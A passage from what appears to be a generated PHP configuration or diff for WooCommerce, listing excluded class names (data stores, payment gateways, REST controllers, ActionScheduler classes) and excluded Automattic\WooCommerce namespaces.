280 => 'WC_Order_Item_Fee_Data_Store', - 281 => 'WC_Customer_Data_Store_Session', - 282 => 'WC_Coupon_Data_Store_CPT', - 283 => 'WC_Customer_Download_Log_Data_Store', - 284 => 'WC_Customer_Data_Store', - 285 => 'WC_Order_Data_Store_CPT', - 286 => 'WC_Product_Data_Store_CPT', - 287 => 'WC_Order_Item_Shipping_Data_Store', - 288 => 'Abstract_WC_Order_Data_Store_CPT', - 289 => 'WC_Product_Variable_Data_Store_CPT', - 290 => 'Abstract_WC_Order_Item_Type_Data_Store', - 291 => 'WC_Order_Item_Coupon_Data_Store', - 292 => 'WC_Shipping_Zone_Data_Store', - 293 => 'WC_Product_Grouped_Data_Store_CPT', - 294 => 'WC_Data_Store_WP', - 295 => 'WC_Product_Variation_Data_Store_CPT', - 296 => 'WC_Webhook_Data_Store', - 297 => 'WC_Customer_Download_Data_Store', - 298 => 'WC_Order_Item_Tax_Data_Store', - 299 => 'WC_Order_Item_Data_Store', - 300 => 'WC_Order_Item_Product_Data_Store', - 301 => 'WC_Order_Refund_Data_Store_CPT', - 302 => 'WC_Payment_Gateway_CC', - 303 => 'WC_Gateway_Cheque', - 304 => 'WC_Payment_Gateway_ECheck', - 305 => 'WC_Gateway_Paypal_Helper', - 306 => 'WC_Gateway_Paypal_Transact_Account_Manager', - 307 => 'WC_Gateway_Paypal_Notices', - 308 => 'WC_Gateway_Paypal_Response', - 309 => 'WC_Gateway_Paypal_PDT_Handler', - 310 => 'WC_Gateway_Paypal_Request', - 311 => 'WC_Gateway_Paypal_Constants', - 312 => 'WC_Gateway_Paypal_IPN_Handler', - 313 => 'WC_Gateway_Paypal_API_Handler', - 314 => 'WC_Gateway_Paypal_Refund', - 315 => 'WC_Gateway_Paypal_Webhook_Handler', - 316 => 'WC_Gateway_Paypal', - 317 => 'WC_Gateway_Paypal_Buttons', - 318 => 'WC_Gateway_BACS', - 319 => 'WC_Gateway_COD', - 320 => 'WC_CLI', - 321 => 'WC_Queue', - 322 => 'WC_Action_Queue', - 323 => 'WC_Embed', - 324 => 'WC_Data_Exception', - 325 => 'WC_REST_Exception', - 326 => 'WC_Geo_IP', - 327 => 'WC_Geo_IP_Record', - 328 => 'WC_Product_Attribute', - 329 => 'WC_Deprecated_Filter_Hooks', - 330 => 'WC_Privacy', - 331 => 'WC_Product_Factory', - 332 => 'WC_Brands_Coupons', - 333 => 'WC_Register_WP_Admin_Settings', - 334 => 'WC_Form_Handler', - 335 => 'WC_Payment_Token_CC', - 336 => 'WC_Payment_Token_ECheck', - 337 => 'WC_Log_Levels', - 338 => 'WC_Order_Factory', - 339 => 'WC_Order_Item_Coupon', - 340 => 'WC_Checkout', - 341 => 'WC_Shipping_Zones', - 342 => 'WC_Discounts', - 343 => 'WC_CSV_Batch_Exporter', - 344 => 'WC_Product_CSV_Exporter', - 345 => 'WC_CSV_Exporter', - 346 => 'WC_Order_Refund', - 347 => 'WC_Order_Item_Meta', - 348 => 'WC_Deprecated_Action_Hooks', - 349 => 'WC_Product_Importer', - 350 => 'WC_Product_CSV_Importer', - 351 => 'WC_Cart', - 352 => 'WC_Cart_Session', - 353 => 'WC_Comments', - 354 => 'WC_Order_Item_Fee', - 355 => 'WC_Product_Grouped', - 356 => 'WC_Background_Emailer', - 357 => 'WC_Auth', - 358 => 'WC_Breadcrumb', - 359 => 'WC_Order_Item', - 360 => 'WC_Query', - 361 => 'WC_Widget_Rating_Filter', - 362 => 'WC_Widget_Cart', - 363 => 'WC_Widget_Brand_Nav', - 364 => 'WC_Widget_Brand_Description', - 365 => 'WC_Widget_Recently_Viewed', - 366 => 'WC_Widget_Product_Tag_Cloud', - 367 => 'WC_Widget_Product_Categories', - 368 => 'WC_Widget_Layered_Nav', - 369 => 'WC_Widget_Brand_Thumbnails', - 370 => 'WC_Widget_Product_Search', - 371 => 'WC_Widget_Price_Filter', - 372 => 'WC_Widget_Top_Rated_Products', - 373 => 'WC_Widget_Layered_Nav_Filters', - 374 => 'WC_Widget_Recent_Reviews', - 375 => 'WC_Widget_Products', - 376 => 'WC_AJAX', - 377 => 'WC_REST_Tax_Classes_V1_Controller', - 378 => 'WC_REST_Webhook_Deliveries_V1_Controller', - 379 => 'WC_REST_Order_Refunds_V1_Controller', - 380 => 'WC_REST_Product_Tags_V1_Controller', - 381 => 'WC_REST_Product_Categories_V1_Controller', - 382 => 'WC_REST_Coupons_V1_Controller', - 383 => 'WC_REST_Taxes_V1_Controller', - 384 => 'WC_REST_Product_Attributes_V1_Controller', - 385 => 'WC_REST_Webhooks_V1_Controller', - 386 => 'WC_REST_Orders_V1_Controller', - 387 => 'WC_REST_Reports_V1_Controller', - 388 => 'WC_REST_Report_Sales_V1_Controller', - 389 => 'WC_REST_Order_Notes_V1_Controller', - 390 => 'WC_REST_Customer_Downloads_V1_Controller', - 391 => 'WC_REST_Product_Attribute_Terms_V1_Controller', - 392 => 'WC_REST_Report_Top_Sellers_V1_Controller', - 393 => 'WC_REST_Product_Shipping_Classes_V1_Controller', - 394 => 'WC_REST_Products_V1_Controller', - 395 => 'WC_REST_Product_Reviews_V1_Controller', - 396 => 'WC_REST_Customers_V1_Controller', - 397 => 'WC_REST_V4_Controller', - 398 => 'WC_REST_Settings_V4_Controller', - 399 => 'WC_REST_Report_Products_Totals_Controller', - 400 => 'WC_REST_Data_Countries_Controller', - 401 => 'WC_REST_Product_Attributes_Controller', - 402 => 'WC_REST_Posts_Controller', - 403 => 'WC_REST_Order_Refunds_Controller', - 404 => 'WC_REST_Product_Variations_Controller', - 405 => 'WC_REST_Layout_Templates_Controller', - 406 => 'WC_REST_CRUD_Controller', - 407 => 'WC_REST_Controller', - 408 => 'WC_REST_Customer_Downloads_Controller', - 409 => 'WC_REST_Data_Currencies_Controller', - 410 => 'WC_REST_Shipping_Methods_Controller', - 411 => 'WC_REST_Paypal_Webhooks_Controller', - 412 => 'WC_REST_Products_Controller', - 413 => 'WC_REST_Reports_Controller', - 414 => 'WC_REST_Settings_Controller', - 415 => 'WC_REST_Report_Orders_Totals_Controller', - 416 => 'WC_REST_Product_Tags_Controller', - 417 => 'WC_REST_System_Status_Tools_Controller', - 418 => 'WC_REST_Product_Custom_Fields_Controller', - 419 => 'WC_REST_Product_Categories_Controller', - 420 => 'WC_REST_Report_Reviews_Totals_Controller', - 421 => 'WC_REST_Data_Continents_Controller', - 422 => 'WC_REST_Paypal_Standard_Controller', - 423 => 'WC_REST_Orders_Controller', - 424 => 'WC_REST_Taxes_Controller', - 425 => 'WC_REST_Products_Catalog_Controller', - 426 => 'WC_REST_Shipping_Zones_Controller_Base', - 427 => 'WC_REST_Data_Controller', - 428 => 'WC_REST_Refunds_Controller', - 429 => 'WC_REST_Shipping_Zone_Locations_Controller', - 430 => 'WC_REST_Report_Sales_Controller', - 431 => 'WC_REST_Tax_Classes_Controller', - 432 => 'WC_REST_Paypal_Buttons_Controller', - 433 => 'WC_REST_Webhooks_Controller', - 434 => 'WC_REST_Terms_Controller', - 435 => 'WC_REST_Network_Orders_Controller', - 436 => 'WC_REST_Product_Attribute_Terms_Controller', - 437 => 'WC_REST_Customers_Controller', - 438 => 'WC_REST_Report_Top_Sellers_Controller', - 439 => 'WC_REST_Coupons_Controller', - 440 => 'WC_REST_Shipping_Zones_Controller', - 441 => 'WC_REST_Shipping_Zone_Methods_Controller', - 442 => 'WC_REST_System_Status_Controller', - 443 => 'WC_REST_Product_Reviews_Controller', - 444 => 'WC_REST_Product_Shipping_Classes_Controller', - 445 => 'WC_REST_Setting_Options_Controller', - 446 => 'WC_REST_Report_Coupons_Totals_Controller', - 447 => 'WC_REST_Product_Brands_Controller', - 448 => 'WC_REST_Payment_Gateways_Controller', - 449 => 'WC_REST_Order_Notes_Controller', - 450 => 'WC_REST_Variations_Controller', - 451 => 'WC_REST_Report_Customers_Totals_Controller', - 452 => 'WC_REST_Telemetry_Controller', - 453 => 'WC_REST_Product_Categories_V2_Controller', - 454 => 'WC_REST_Shipping_Zone_Locations_V2_Controller', - 455 => 'WC_REST_Shipping_Zones_V2_Controller', - 456 => 'WC_REST_Coupons_V2_Controller', - 457 => 'WC_REST_Taxes_V2_Controller', - 458 => 'WC_REST_Product_Brands_V2_Controller', - 459 => 'WC_REST_Product_Variations_V2_Controller', - 460 => 'WC_REST_Tax_Classes_V2_Controller', - 461 => 'WC_REST_Order_Refunds_V2_Controller', - 462 => 'WC_REST_Webhook_Deliveries_V2_Controller', - 463 => 'WC_REST_Product_Tags_V2_Controller', - 464 => 'WC_REST_Product_Shipping_Classes_V2_Controller', - 465 => 'WC_REST_Report_Top_Sellers_V2_Controller', - 466 => 'WC_REST_Products_V2_Controller', - 467 => 'WC_REST_System_Status_Tools_V2_Controller', - 468 => 'WC_REST_Shipping_Zone_Methods_V2_Controller', - 469 => 'WC_REST_Network_Orders_V2_Controller', - 470 => 'WC_REST_Customers_V2_Controller', - 471 => 'WC_REST_Setting_Options_V2_Controller', - 472 => 'WC_REST_Product_Reviews_V2_Controller', - 473 => 'WC_REST_System_Status_V2_Controller', - 474 => 'WC_REST_Webhooks_V2_Controller', - 475 => 'WC_REST_Product_Attributes_V2_Controller', - 476 => 'WC_REST_Payment_Gateways_V2_Controller', - 477 => 'WC_REST_Settings_V2_Controller', - 478 => 'WC_REST_Shipping_Methods_V2_Controller', - 479 => 'WC_REST_Reports_V2_Controller', - 480 => 'WC_REST_Report_Sales_V2_Controller', - 481 => 'WC_REST_Orders_V2_Controller', - 482 => 'WC_REST_Product_Attribute_Terms_V2_Controller', - 483 => 'WC_REST_Customer_Downloads_V2_Controller', - 484 => 'WC_REST_Order_Notes_V2_Controller', - 485 => 'WC_Regenerate_Images_Request', - 486 => 'WC_Cache_Helper', - 487 => 'WC_Session_Handler', - 488 => 'WC_Queue_Interface', - 489 => 'WC_Payment_Token_Data_Store_Interface', - 490 => 'WC_Log_Handler_Interface', - 491 => 'WC_Order_Item_Type_Data_Store_Interface', - 492 => 'WC_Customer_Data_Store_Interface', - 493 => 'WC_Webhook_Data_Store_Interface', - 494 => 'WC_Shipping_Zone_Data_Store_Interface', - 495 => 'WC_Object_Data_Store_Interface', - 496 => 'WC_Customer_Download_Log_Data_Store_Interface', - 497 => 'WC_Customer_Download_Data_Store_Interface', - 498 => 'WC_Coupon_Data_Store_Interface', - 499 => 'WC_Order_Data_Store_Interface', - 500 => 'WC_Product_Variable_Data_Store_Interface', - 501 => 'WC_Order_Item_Data_Store_Interface', - 502 => 'WC_Importer_Interface', - 503 => 'WC_Logger_Interface', - 504 => 'WC_Abstract_Order_Data_Store_Interface', - 505 => 'WC_Order_Refund_Data_Store_Interface', - 506 => 'WC_Order_Item_Product_Data_Store_Interface', - 507 => 'WC_Product_Data_Store_Interface', - 508 => 'WC_Tracker', - 509 => 'WC_Shipping_Rate', - 510 => 'EmailEditorVendor_PhpToken', - 511 => 'EmailEditorVendor_ValueError', - 512 => 'EmailEditorVendor_Attribute', - 513 => 'EmailEditorVendor_UnhandledMatchError', - 514 => 'EmailEditorVendor_Stringable', - 515 => 'PhpToken', - 516 => 'ValueError', - 517 => 'Attribute', - 518 => 'UnhandledMatchError', - 519 => 'Stringable', - 520 => 'ActionScheduler_AsyncRequest_QueueRunner', - 521 => 'ActionScheduler_WPCLI_Clean_Command', - 522 => 'ActionScheduler_WPCLI_Scheduler_command', - 523 => 'ActionScheduler_WPCLI_QueueRunner', - 524 => 'ActionScheduler_ListTable', - 525 => 'ActionScheduler_WPCommentCleaner', - 526 => 'ActionScheduler_AdminView', - 527 => 'ActionScheduler_ActionClaim', - 528 => 'ActionScheduler_QueueRunner', - 529 => 'ActionScheduler_SystemInformation', - 530 => 'ActionScheduler_CronSchedule', - 531 => 'ActionScheduler_NullSchedule', - 532 => 'ActionScheduler_SimpleSchedule', - 533 => 'ActionScheduler_Schedule', - 534 => 'ActionScheduler_IntervalSchedule', - 535 => 'ActionScheduler_CanceledSchedule', - 536 => 'ActionScheduler_LoggerSchema', - 537 => 'ActionScheduler_StoreSchema', - 538 => 'ActionScheduler_Abstract_QueueRunner', - 539 => 'ActionScheduler_Lock', - 540 => 'ActionScheduler_Abstract_RecurringSchedule', - 541 => 'ActionScheduler_TimezoneHelper', - 542 => 'ActionScheduler_Abstract_Schema', - 543 => 'ActionScheduler', - 544 => 'ActionScheduler_Abstract_ListTable', - 545 => 'ActionScheduler_WPCLI_Command', - 546 => 'ActionScheduler_Abstract_Schedule', - 547 => 'ActionScheduler_Logger', - 548 => 'ActionScheduler_Store', - 549 => 'ActionScheduler_Compatibility', - 550 => 'ActionScheduler_QueueCleaner', - 551 => 'ActionScheduler_wpPostStore', - 552 => 'ActionScheduler_wpPostStore_PostStatusRegistrar', - 553 => 'ActionScheduler_wpPostStore_TaxonomyRegistrar', - 554 => 'ActionScheduler_wpPostStore_PostTypeRegistrar', - 555 => 'ActionScheduler_DBLogger', - 556 => 'ActionScheduler_HybridStore', - 557 => 'ActionScheduler_wpCommentLogger', - 558 => 'ActionScheduler_DBStore', - 559 => 'ActionScheduler_FinishedAction', - 560 => 'ActionScheduler_CanceledAction', - 561 => 'ActionScheduler_Action', - 562 => 'ActionScheduler_NullAction', - 563 => 'ActionScheduler_Exception', - 564 => 'ActionScheduler_InvalidActionException', - 565 => 'ActionScheduler_OptionLock', - 566 => 'ActionScheduler_Versions', - 567 => 'ActionScheduler_DateTime', - 568 => 'ActionScheduler_LogEntry', - 569 => 'ActionScheduler_DBStoreMigrator', - 570 => 'ActionScheduler_RecurringActionScheduler', - 571 => 'ActionScheduler_ActionFactory', - 572 => 'ActionScheduler_FatalErrorMonitor', - 573 => 'ActionScheduler_wcSystemStatus', - 574 => 'ActionScheduler_NullLogEntry', - 575 => 'ActionScheduler_DataController', - 577 => 'CronExpression_FieldFactory', - 578 => 'CronExpression_FieldInterface', - 579 => 'CronExpression_MinutesField', - 580 => 'CronExpression_YearField', - 581 => 'CronExpression_DayOfMonthField', - 582 => 'CronExpression', - 583 => 'CronExpression_DayOfWeekField', - 584 => 'CronExpression_AbstractField', - 585 => 'CronExpression_HoursField', - 586 => 'CronExpression_MonthField', - 587 => 'ActionScheduler_Abstract_QueueRunner_Deprecated', - 588 => 'ActionScheduler_Store_Deprecated', - 589 => 'ActionScheduler_AdminView_Deprecated', - 590 => 'ActionScheduler_Schedule_Deprecated', - 591 => 'WC_Vendor_PhpToken', - 592 => 'WC_Vendor_ValueError', - 593 => 'WC_Vendor_Attribute', - 594 => 'WC_Vendor_UnhandledMatchError', - 595 => 'WC_Vendor_Stringable', - ), - 'exclude-namespaces' => - array ( - 0 => 'WooCommerce\\Admin', - 1 => 'Automattic\\WooCommerce\\RestApi', - 3 => 'Automattic\\WooCommerce\\RestApi\\Utilities', - 5 => 'Automattic\\WooCommerce\\EmailEditorVendor\\Pelago\\Emogrifier\\Css', - 7 => 'Automattic\\WooCommerce\\EmailEditorVendor\\Pelago\\Emogrifier', - 8 => 'Automattic\\WooCommerce\\EmailEditorVendor\\Pelago\\Emogrifier\\Utilities', - 12 => 'Automattic\\WooCommerce\\EmailEditorVendor\\Pelago\\Emogrifier\\Caching', - 13 => 'Automattic\\WooCommerce\\EmailEditorVendor\\Pelago\\Emogrifier\\HtmlProcessor', - 18 => 'Automattic\\WooCommerce\\EmailEditorVendor\\Symfony\\Component\\CssSelector\\XPath', - 20 => 'Automattic\\WooCommerce\\EmailEditorVendor\\Symfony\\Component\\CssSelector\\XPath\\Extension', - 29 => 'Automattic\\WooCommerce\\EmailEditorVendor\\Symfony\\Component\\CssSelector\\Parser\\Handler', - 36 => 'Automattic\\WooCommerce\\EmailEditorVendor\\Symfony\\Component\\CssSelector\\Parser\\Shortcut', - 40 => 'Automattic\\WooCommerce\\EmailEditorVendor\\Symfony\\Component\\CssSelector\\Parser', - 42 => 'Automattic\\WooCommerce\\EmailEditorVendor\\Symfony\\Component\\CssSelector\\Parser\\Tokenizer', - 48 => 'Automattic\\WooCommerce\\EmailEditorVendor\\Symfony\\Component\\CssSelector\\Node', - 60 => 'Automattic\\WooCommerce\\EmailEditorVendor\\Symfony\\Component\\CssSelector\\Exception', - 65 => 'Automattic\\WooCommerce\\EmailEditorVendor\\Symfony\\Component\\CssSelector', - 66 => 'Automattic\\WooCommerce\\EmailEditorVendor\\Symfony\\Polyfill\\Php80', - 68 => 'Automattic\\WooCommerce\\EmailEditorVendor\\Sabberworm\\CSS', - 69 => 'Automattic\\WooCommerce\\EmailEditorVendor\\Sabberworm\\CSS\\RuleSet', - 73 => 'Automattic\\WooCommerce\\EmailEditorVendor\\Sabberworm\\CSS\\CSSList', - 79 => 'Automattic\\WooCommerce\\EmailEditorVendor\\Sabberworm\\CSS\\Property', - 85 => 'Automattic\\WooCommerce\\EmailEditorVendor\\Sabberworm\\CSS\\Comment', - 88 => 'Automattic\\WooCommerce\\EmailEditorVendor\\Sabberworm\\CSS\\Position', - 90 => 'Automattic\\WooCommerce\\EmailEditorVendor\\Sabberworm\\CSS\\Value', - 103 => 'Automattic\\WooCommerce\\EmailEditorVendor\\Sabberworm\\CSS\\Rule', - 104 => 'Automattic\\WooCommerce\\EmailEditorVendor\\Sabberworm\\CSS\\Parsing', - 111 => 'Automattic\\WooCommerce\\EmailEditor', - 113 => 'Automattic\\WooCommerce\\EmailEditor\\Validator', - 116 => 'Automattic\\WooCommerce\\EmailEditor\\Validator\\Schema', - 128 => 'Automattic\\WooCommerce\\EmailEditor\\Integrations\\WooCommerce\\Renderer\\Blocks', - 135 => 'Automattic\\WooCommerce\\EmailEditor\\Integrations\\WooCommerce', - 137 => 'Automattic\\WooCommerce\\EmailEditor\\Integrations\\Core\\Renderer\\Blocks', - 159 => 'Automattic\\WooCommerce\\EmailEditor\\Integrations\\Core', - 160 => 'Automattic\\WooCommerce\\EmailEditor\\Integrations\\Utils', - 167 => 'Automattic\\WooCommerce\\EmailEditor\\Engine', - 170 => 'Automattic\\WooCommerce\\EmailEditor\\Engine\\Renderer', - 172 => 'Automattic\\WooCommerce\\EmailEditor\\Engine\\Renderer\\ContentRenderer', - 174 => 'Automattic\\WooCommerce\\EmailEditor\\Engine\\Renderer\\ContentRenderer\\Preprocessors', - 182 => 'Automattic\\WooCommerce\\EmailEditor\\Engine\\Renderer\\ContentRenderer\\Layout', - 183 => 'Automattic\\WooCommerce\\EmailEditor\\Engine\\Renderer\\ContentRenderer\\Postprocessors', - 192 => 'Automattic\\WooCommerce\\EmailEditor\\Engine\\Logger', - 195 => 'Automattic\\WooCommerce\\EmailEditor\\Engine\\Patterns', - 197 => 'Automattic\\WooCommerce\\EmailEditor\\Engine\\PersonalizationTags', - 205 => 'Automattic\\WooCommerce\\EmailEditor\\Engine\\Templates', - 211 => 'Action_Scheduler\\WP_CLI', - 212 => 'Action_Scheduler\\WP_CLI\\Action', - 223 => 'Action_Scheduler\\Migration', - 232 => 'Automattic\\WooCommerce\\Blueprint\\ResultFormatters', - 234 => 'Automattic\\WooCommerce\\Blueprint\\ResourceStorages', - 239 => 'Automattic\\WooCommerce\\Blueprint', - 243 => 'Automattic\\WooCommerce\\Blueprint\\Importers', - 250 => 'Automattic\\WooCommerce\\Blueprint\\Exporters', - 258 => 'Automattic\\WooCommerce\\Blueprint\\Cli', - 260 => 'Automattic\\WooCommerce\\Blueprint\\Schemas', - 262 => 'Automattic\\WooCommerce\\Blueprint\\Steps', - 274 => 'Automattic\\WooCommerce\\Vendor\\Pelago\\Emogrifier\\Css', - 276 => 'Automattic\\WooCommerce\\Vendor\\Pelago\\Emogrifier', - 277 => 'Automattic\\WooCommerce\\Vendor\\Pelago\\Emogrifier\\Utilities', - 281 => 'Automattic\\WooCommerce\\Vendor\\Pelago\\Emogrifier\\Caching', - 282 => 'Automattic\\WooCommerce\\Vendor\\Pelago\\Emogrifier\\HtmlProcessor', - 287 => 'Automattic\\WooCommerce\\Vendor\\League\\ISO3166', - 292 => 'Automattic\\WooCommerce\\Vendor\\League\\ISO3166\\Exception', - 295 => 'Automattic\\WooCommerce\\Vendor\\GraphQL\\Validator', - 297 => 'Automattic\\WooCommerce\\Vendor\\GraphQL\\Validator\\Rules', - 342 => 'Automattic\\WooCommerce\\Vendor\\GraphQL', - 343 => 'Automattic\\WooCommerce\\Vendor\\GraphQL\\Server', - 348 => 'Automattic\\WooCommerce\\Vendor\\GraphQL\\Server\\Exception', - 362 => 'Automattic\\WooCommerce\\Vendor\\GraphQL\\Utils', - 379 => 'Automattic\\WooCommerce\\Vendor\\GraphQL\\Language', - 388 => 'Automattic\\WooCommerce\\Vendor\\GraphQL\\Language\\AST', - 450 => 'Automattic\\WooCommerce\\Vendor\\GraphQL\\Type', - 453 => 'Automattic\\WooCommerce\\Vendor\\GraphQL\\Type\\Definition', - 495 => 'Automattic\\WooCommerce\\Vendor\\GraphQL\\Type\\Validation', - 496 => 'Automattic\\WooCommerce\\Vendor\\GraphQL\\Executor', - 503 => 'Automattic\\WooCommerce\\Vendor\\GraphQL\\Executor\\Promise', - 504 => 'Automattic\\WooCommerce\\Vendor\\GraphQL\\Executor\\Promise\\Adapter', - 512 => 'Automattic\\WooCommerce\\Vendor\\GraphQL\\Error', - 523 => 'Automattic\\WooCommerce\\Vendor\\Psr\\Container', - 526 => 'Automattic\\WooCommerce\\Vendor\\Symfony\\Component\\CssSelector\\XPath', - 528 => 'Automattic\\WooCommerce\\Vendor\\Symfony\\Component\\CssSelector\\XPath\\Extension', - 537 => 'Automattic\\WooCommerce\\Vendor\\Symfony\\Component\\CssSelector\\Parser\\Handler', - 544 => 'Automattic\\WooCommerce\\Vendor\\Symfony\\Component\\CssSelector\\Parser\\Shortcut', - 548 => 'Automattic\\WooCommerce\\Vendor\\Symfony\\Component\\CssSelector\\Parser', - 550 => 'Automattic\\WooCommerce\\Vendor\\Symfony\\Component\\CssSelector\\Parser\\Tokenizer', - 556 => 'Automattic\\WooCommerce\\Vendor\\Symfony\\Component\\CssSelector\\Node', - 568 => 'Automattic\\WooCommerce\\Vendor\\Symfony\\Component\\CssSelector\\Exception', - 573 => 'Automattic\\WooCommerce\\Vendor\\Symfony\\Component\\CssSelector', - 574 => 'Automattic\\WooCommerce\\Vendor\\Symfony\\Polyfill\\Php80', - 576 => 'Automattic\\WooCommerce\\Vendor\\Sabberworm\\CSS', - 577 => 'Automattic\\WooCommerce\\Vendor\\Sabberworm\\CSS\\RuleSet', - 581 => 'Automattic\\WooCommerce\\Vendor\\Sabberworm\\CSS\\CSSList', - 587 => 'Automattic\\WooCommerce\\Vendor\\Sabberworm\\CSS\\Property', - 593 => 'Automattic\\WooCommerce\\Vendor\\Sabberworm\\CSS\\Comment', - 596 => 'Automattic\\WooCommerce\\Vendor\\Sabberworm\\CSS\\Position', - 598 => 'Automattic\\WooCommerce\\Vendor\\Sabberworm\\CSS\\Value', - 611 => 'Automattic\\WooCommerce\\Vendor\\Sabberworm\\CSS\\Rule', - 612 => 'Automattic\\WooCommerce\\Vendor\\Sabberworm\\CSS\\Parsing', - 619 => 'Automattic\\WooCommerce\\Vendor\\Detection', - 620 => 'Automattic\\WooCommerce\\Blocks', - 621 => 'Automattic\\WooCommerce\\Blocks\\Payments', - 623 => 'Automattic\\WooCommerce\\Blocks\\Payments\\Integrations', - 630 => 'Automattic\\WooCommerce\\Blocks\\AIContent', - 635 => 'Automattic\\WooCommerce\\Blocks\\Patterns', - 642 => 'Automattic\\WooCommerce\\Blocks\\Images', - 643 => 'Automattic\\WooCommerce\\Blocks\\SharedStores', - 646 => 'Automattic\\WooCommerce\\Blocks\\Utils', - 657 => 'Automattic\\WooCommerce\\Blocks\\Shipping', - 659 => 'Automattic\\WooCommerce\\Blocks\\Integrations', - 661 => 'Automattic\\WooCommerce\\Blocks\\AI', - 665 => 'Automattic\\WooCommerce\\Blocks\\Registry', - 670 => 'Automattic\\WooCommerce\\Blocks\\Templates', - 696 => 'Automattic\\WooCommerce\\Blocks\\BlockTypes', - 729 => 'Automattic\\WooCommerce\\Blocks\\BlockTypes\\ProductCollection', - 737 => 'Automattic\\WooCommerce\\Blocks\\BlockTypes\\Accordion', - 741 => 'Automattic\\WooCommerce\\Blocks\\BlockTypes\\AddToCartWithOptions', - 764 => 'Automattic\\WooCommerce\\Blocks\\BlockTypes\\OrderConfirmation', - 872 => 'Automattic\\WooCommerce\\Blocks\\BlockTypes\\Reviews', - 889 => 'Automattic\\WooCommerce\\Blocks\\Assets', - 891 => 'Automattic\\WooCommerce\\Blocks\\Domain', - 893 => 'Automattic\\WooCommerce\\Blocks\\Domain\\Services', - 899 => 'Automattic\\WooCommerce\\Blocks\\Domain\\Services\\CheckoutFieldsSchema', - 905 => 'Automattic\\WooCommerce\\Blocks\\Domain\\Services\\Email', - 908 => 'Automattic\\WooCommerce\\Database\\Migrations', - 910 => 'Automattic\\WooCommerce\\Database\\Migrations\\CustomOrderTable', - 918 => 'Automattic\\WooCommerce', - 919 => 'Automattic\\WooCommerce\\LayoutTemplates', - 920 => 'Automattic\\WooCommerce\\Enums', - 932 => 'Automattic\\WooCommerce\\Admin\\Overrides', - 937 => 'Automattic\\WooCommerce\\Admin', - 940 => 'Automattic\\WooCommerce\\Admin\\RemoteSpecs\\RuleProcessors', - 959 => 'Automattic\\WooCommerce\\Admin\\RemoteSpecs\\RuleProcessors\\Transformers', - 983 => 'Automattic\\WooCommerce\\Admin\\RemoteSpecs', - 985 => 'Automattic\\WooCommerce\\Admin\\Settings', - 994 => 'Automattic\\WooCommerce\\Admin\\BlockTemplates', - 999 => 'Automattic\\WooCommerce\\Admin\\DateTimeProvider', - 1003 => 'Automattic\\WooCommerce\\Admin\\Composer', - 1004 => 'Automattic\\WooCommerce\\Admin\\Features', - 1005 => 'Automattic\\WooCommerce\\Admin\\Features\\Fulfillments', - 1006 => 'Automattic\\WooCommerce\\Admin\\Features\\Fulfillments\\Providers', - 1088 => 'Automattic\\WooCommerce\\Admin\\Features\\Fulfillments\\DataStore', - 1097 => 'Automattic\\WooCommerce\\Admin\\Features\\ProductBlockEditor\\ProductTemplates', - 1101 => 'Automattic\\WooCommerce\\Admin\\Features\\ProductBlockEditor', - 1108 => 'Automattic\\WooCommerce\\Admin\\Features\\ShippingPartnerSuggestions', - 1111 => 'Automattic\\WooCommerce\\Admin\\Features\\ProductDataViews', - 1112 => 'Automattic\\WooCommerce\\Admin\\Features\\AsyncProductEditorCategoryField', - 1114 => 'Automattic\\WooCommerce\\Admin\\Features\\Navigation', - 1115 => 'Automattic\\WooCommerce\\Admin\\Features\\MarketingRecommendations', - 1120 => 'Automattic\\WooCommerce\\Admin\\Features\\PaymentGatewaySuggestions', - 1126 => 'Automattic\\WooCommerce\\Admin\\Features\\OnboardingTasks', - 1127 => 'Automattic\\WooCommerce\\Admin\\Features\\OnboardingTasks\\Tasks', - 1151 => 'Automattic\\WooCommerce\\Admin\\Features\\Blueprint', - 1153 => 'Automattic\\WooCommerce\\Admin\\Features\\Blueprint\\Exporters', - 1167 => 'Automattic\\WooCommerce\\Admin\\PluginsInstallLoggers', - 1170 => 'Automattic\\WooCommerce\\Admin\\PluginsProvider', - 1172 => 'Automattic\\WooCommerce\\Admin\\Notes', - 1178 => 'Automattic\\WooCommerce\\Admin\\RemoteInboxNotifications', - 1183 => 'Automattic\\WooCommerce\\Admin\\API', - 1209 => 'Automattic\\WooCommerce\\Admin\\API\\RateLimits', - 1214 => 'Automattic\\WooCommerce\\Admin\\API\\AI', - 1237 => 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Customers', - 1240 => 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Customers\\Stats', - 1243 => 'Automattic\\WooCommerce\\Admin\\API\\Reports', - 1247 => 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Products', - 1250 => 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Products\\Stats', - 1257 => 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Variations', - 1260 => 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Variations\\Stats', - 1267 => 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Coupons', - 1270 => 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Coupons\\Stats', - 1277 => 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Taxes', - 1280 => 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Taxes\\Stats', - 1284 => 'Automattic\\WooCommerce\\Admin\\API\\Reports\\PerformanceIndicators', - 1286 => 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Orders', - 1289 => 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Orders\\Stats', - 1294 => 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Export', - 1296 => 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Stock', - 1297 => 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Stock\\Stats', - 1300 => 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Revenue', - 1301 => 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Revenue\\Stats', - 1302 => 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Import', - 1303 => 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Downloads', - 1305 => 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Downloads\\Files', - 1307 => 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Downloads\\Stats', - 1310 => 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Categories', - 1315 => 'Automattic\\WooCommerce\\Admin\\Marketing', - 1323 => 'Automattic\\WooCommerce\\Admin\\Schedulers', - 1324 => 'Automattic\\WooCommerce\\Internal\\EmailEditor\\WCTransactionalEmails', - 1334 => 'Automattic\\WooCommerce\\Internal\\EmailEditor', - 1338 => 